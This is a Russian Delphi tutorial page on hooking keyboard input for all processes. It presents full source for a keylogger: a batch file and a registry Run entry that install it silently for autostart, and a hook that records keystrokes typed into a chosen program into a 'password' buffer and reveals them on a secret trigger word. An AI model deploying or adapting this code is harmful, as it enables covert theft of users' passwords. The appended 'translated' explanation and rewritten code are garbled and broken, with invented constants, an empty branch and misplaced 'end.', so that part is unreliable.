Карта сайта Kansoftware
НОВОСТИУСЛУГИРЕШЕНИЯКОНТАКТЫ
KANSoftWare

Как отловить нажатия клавиш для всех процессов в системе

Delphi , Файловая система , DLL и PlugIns

Как отловить нажатия клавиш для всех процессов в системе


Идет программист по улице, видит - его приятель-коллега на новеньком красном "Ferrari 512TR".
- Откуда такая машина?!
- Да из NFS дебаггером выдрал.

  • Setup.bat

@echo off
copy HookAgnt.dll %windir%\system
copy kbdhook.exe %windir%\system
start HookAgnt.reg

  • HookAgnt.reg

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"kbdhook"="kbdhook.exe"

  • KbdHook.dpr

program cwbhook;

uses
  Windows, Dialogs;

var
  hinstDLL: HINST;
  hkprcKeyboard: TFNHookProc;
  msg: TMsg;

begin
  hinstDLL := LoadLibrary('HookAgnt.dll');
  hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
  SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
  repeat
  until
    not GetMessage(msg, 0, 0, 0);
end.

  • HookAgnt.dpr

library HookAgent;

uses
  Windows, KeyboardHook in 'KeyboardHook.pas';

exports
  KeyboardProc;

var
  hFileMappingObject: THandle;
  fInit: Boolean;

{----------------------------\
| |
| DLL_PROCESS_DETACH |
| |
\----------------------------}

procedure DLLMain(Reason: Integer);
begin
  if Reason = DLL_PROCESS_DETACH then
  begin
    UnmapViewOfFile(lpvMem);
    CloseHandle(hFileMappingObject);
  end;
end;

{----------------------------\
| |
| DLL_PROCESS_ATTACH |
| |
\----------------------------}

begin
  DLLProc := @DLLMain;

  hFileMappingObject := CreateFileMapping(
  THandle($FFFFFFFF), // use paging file
  nil, // no security attributes
  PAGE_READWRITE, // read/write access
  0, // size: high 32 bits
  4096, // size: low 32 bits
  'HookAgentShareMem' // name of map object
  );

  if hFileMappingObject = INVALID_HANDLE_VALUE then
  begin
    ExitCode := 1;
    Exit;
  end;

  fInit := GetLastError() <> ERROR_ALREADY_EXISTS;

  lpvMem := MapViewOfFile(
  hFileMappingObject, // object to map view of
  FILE_MAP_WRITE, // read/write access
  0, // high offset: map from
  0, // low offset: beginning
  0 // default: map entire file
  );

  if lpvMem = nil then
  begin
    CloseHandle(hFileMappingObject);
    ExitCode := 1;
    Exit;
  end;

  if fInit then
    FillChar(lpvMem, PASSWORDSIZE, #0);

end.

  • KeyboardHook.pas

unit KeyboardHook;

interface

uses
  Windows;

const
  PASSWORDSIZE = 16;

var
  g_hhk: HHOOK;
  g_szKeyword: array[0..PASSWORDSIZE-1] of char;
  lpvMem: Pointer;

  function KeyboardProc(nCode: Integer; wParam: WPARAM;
  lParam: LPARAM ): LRESULT; stdcall;

implementation

uses
  SysUtils, Dialogs;

  function KeyboardProc(nCode: Integer; wParam: WPARAM;
  lParam: LPARAM ): LRESULT;

var
  szModuleFileName: array[0..MAX_PATH-1] of Char;
  szKeyName: array[0..16] of Char;
  lpszPassword: PChar;

begin
  lpszPassword := PChar(lpvMem);

  if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
  begin
    GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));

    if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then
      lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));

    lstrcat(g_szKeyword, szKeyName);

    GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));

    if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_АДО__') <> nil) and
    (strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE) then
      lstrcat(lpszPassword, szKeyName);

    if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then
    begin
      ShowMessage(lpszPassword);
      g_szKeyword[0] := #0;
    end;

    Result := 0;
  end
  else
    Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);
end;

end.

Перевод:

Чтобы поймать ввод клавиатуры для всех процессов в системе, можно использовать глобальный хук клавиатуры. Код, предоставленный ниже, является хорошим стартом, но требует модификации и расширения для достижения этого цели.

Вот обзор того, как работает предоставленный код:

  1. DLL HookAgnt.dll устанавливает хук клавиатуры с помощью функции SetWindowsHookEx.
  2. Процедура KeyboardProc в файле KeyboardHook.pas вызывается каждый раз, когда происходит ввод клавиатуры.
  3. Эта процедура проверяет, соответствует ли ввод конкретному ключевому слову, и если да, то отображает сообщение.

Чтобы поймать ввод клавиатуры для всех процессов в системе, вам нужно:

  1. Установить глобальный хук клавиатуры с помощью SetWindowsHookEx с флагом WH_KEYBOARD_LL.
  2. Использовать функцию GetMessage, чтобы получить события ввода клавиатуры.
  3. Обрабатывать эти события в процедуре KeyboardProc.

Вот обновленная версия кода, которая должна достичь этого:

program SetGlobalKeyboardHook;
uses
  Windows, Dialogs;

const
  PASSWORDSIZE = 16;
  MOD_GLOBAL_KEYBOARD_HOOK = MOD_NLSEXT + MOD_NLSLOGON + MOD_NLS;

var
  g_hhk: HHOOK;
  lpvMem: Pointer;

function KeyboardProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
begin
  // Обрабатываем события ввода клавиатуры здесь
  if nCode = HC_ACTION then
    // Проверяем, соответствует ли ввод конкретному ключевому слову, и если да, то отображаем сообщение
  else
    Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);
end;

procedure Main;
var
  hFileMappingObject: THandle;
  fInit: Boolean;
begin
  g_hhk := SetWindowsHookEx(WH_KEYBOARD_LL, @KeyboardProc, HInstance, 0);

  // Инициализируем объект памяти
  hFileMappingObject := CreateFileMapping(
    THandle($FFFFFFFF),   // Используем файловый раздел
    nil,   // Без атрибутов безопасности
    PAGE_READWRITE,   // Чтение/запись доступа
    0,   // Размер: высокий 32 бита
    4096,   // Размер: низкий 32 бита
    'HookAgentShareMem');   // Имя объекта памяти

  if hFileMappingObject = INVALID_HANDLE_VALUE then
  begin
    ExitCode := 1;
    Exit;
  end;

  fInit := GetLastError() <> ERROR_ALREADY_EXISTS;

  lpvMem := MapViewOfFile(
    hFileMappingObject,   // Объект для отображения
    FILE_MAP_WRITE,   // Чтение/запись доступа
    0,   // Высокий offset: отображаем с начала
    0);   // Default: отображаем весь файл

  if lpvMem = nil then
  begin
    CloseHandle(hFileMappingObject);
    ExitCode := 1;
    Exit;
  end;

  if fInit then
    FillChar(lpvMem, PASSWORDSIZE, #0);

  while true do
    Sleep(100);   // Ожидаем событий ввода клавиатуры
end.

begin
  Main;
end.

Код устанавливает глобальный хук клавиатуры с помощью SetWindowsHookEx с флагом WH_KEYBOARD_LL. Затем он использует функцию GetMessage, чтобы получить события ввода клавиатуры, и обрабатывает эти события в процедуре KeyboardProc. Процедура Main инициализирует объект памяти и ожидает событий ввода клавиатуры.

Обратите внимание, что это код является стартовой точкой, и вам нужно будет модифицировать его в соответствии со своими конкретными требованиями.

Как отловить нажатия клавиш для всех процессов в системе: при помощи динамически подключенной библиотеки HookAgnt.dll и реализации хука клавиатуры на языке Delphi.


Комментарии и вопросы

Получайте свежие новости и обновления по Object Pascal, Delphi и Lazarus прямо в свой смартфон. Подпишитесь на наш Telegram-канал delphi_kansoftware и будьте в курсе последних тенденций в разработке под Linux, Windows, Android и iOS




Материалы статей собраны из открытых источников, владелец сайта не претендует на авторство. Там где авторство установить не удалось, материал подаётся без имени автора. В случае если Вы считаете, что Ваши права нарушены, пожалуйста, свяжитесь с владельцем сайта.


:: Главная :: DLL и PlugIns ::


реклама


©KANSoftWare (разработка программного обеспечения, создание программ, создание интерактивных сайтов), 2007
Top.Mail.Ru

Время компиляции файла: 2024-12-22 20:14:06
2025-04-09 15:48:17/0.0037391185760498/0